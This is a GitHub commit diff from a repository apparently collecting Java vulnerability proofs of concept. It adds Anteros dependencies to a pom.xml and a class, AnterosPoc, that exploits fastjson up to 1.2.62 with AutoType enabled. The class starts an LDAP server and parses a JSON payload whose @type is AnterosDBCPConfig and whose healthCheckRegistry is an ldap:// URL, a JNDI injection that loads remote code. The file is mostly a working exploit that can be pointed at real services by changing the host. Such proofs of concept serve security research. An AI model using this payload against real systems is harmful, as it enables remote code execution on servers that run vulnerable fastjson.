File tree Expand file tree Collapse file tree 2 files changed +66
-0
lines changed
src/main/java/com/threedr3am/bug/fastjson Expand file tree Collapse file tree 2 files changed +66
-0
lines changed Original file line number Diff line number Diff line change 6262 <artifactId >javaee-api</artifactId >
6363 <version >8.0.1</version >
6464 </dependency >
65+
66+ <!-- https://mvnrepository.com/artifact/com.codahale.metrics/metrics-healthchecks -->
67+ <dependency >
68+ <groupId >com.codahale.metrics</groupId >
69+ <artifactId >metrics-healthchecks</artifactId >
70+ <version >3.0.2</version >
71+ </dependency >
72+ <!-- https://mvnrepository.com/artifact/br.com.anteros/Anteros-Core -->
73+ <dependency >
74+ <groupId >br.com.anteros</groupId >
75+ <artifactId >Anteros-Core</artifactId >
76+ <version >1.2.1</version >
77+ </dependency >
78+ <!-- https://mvnrepository.com/artifact/br.com.anteros/Anteros-DBCP -->
79+ <dependency >
80+ <groupId >br.com.anteros</groupId >
81+ <artifactId >Anteros-DBCP</artifactId >
82+ <version >1.0.1</version >
83+ </dependency >
6584 </dependencies >
6685</project >
Original file line number Diff line number Diff line change 1+ package com .threedr3am .bug .fastjson ;
2+
3+ import com .alibaba .fastjson .JSON ;
4+ import com .alibaba .fastjson .parser .ParserConfig ;
5+ import com .threedr3am .bug .common .server .LdapServer ;
6+
7+ /**
8+ * fastjson <= 1.2.62 RCE,需要开启AutoType
9+ *
10+ * Anteros-DBCP依赖的gadget
11+ *
12+ * <dependency>
13+ * <groupId>com.codahale.metrics</groupId>
14+ * <artifactId>metrics-healthchecks</artifactId>
15+ * <version>3.0.2</version>
16+ * </dependency>
17+ *
18+ * <dependency>
19+ * <groupId>br.com.anteros</groupId>
20+ * <artifactId>Anteros-Core</artifactId>
21+ * <version>1.2.1</version>
22+ * </dependency>
23+ *
24+ * <dependency>
25+ * <groupId>br.com.anteros</groupId>
26+ * <artifactId>Anteros-DBCP</artifactId>
27+ * <version>1.0.1</version>
28+ * </dependency>
29+ *
30+ * @author threedr3am
31+ */
32+ public class AnterosPoc {
33+ static {
34+ //rmi server示例
35+ // RmiServer.run();
36+
37+ //ldap server示例
38+ LdapServer .run ();
39+ }
40+
41+ public static void main (String [] args ) {
42+ ParserConfig .getGlobalInstance ().setAutoTypeSupport (true );
43+
44+ String payload = "{\" @type\" :\" br.com.anteros.dbcp.AnterosDBCPConfig\" ,\" healthCheckRegistry\" :\" ldap://localhost:43658/Calc\" }" ;//ldap方式
45+ JSON .parse (payload );
46+ }
47+ }
You can’t perform that action at this time.
0 commit comments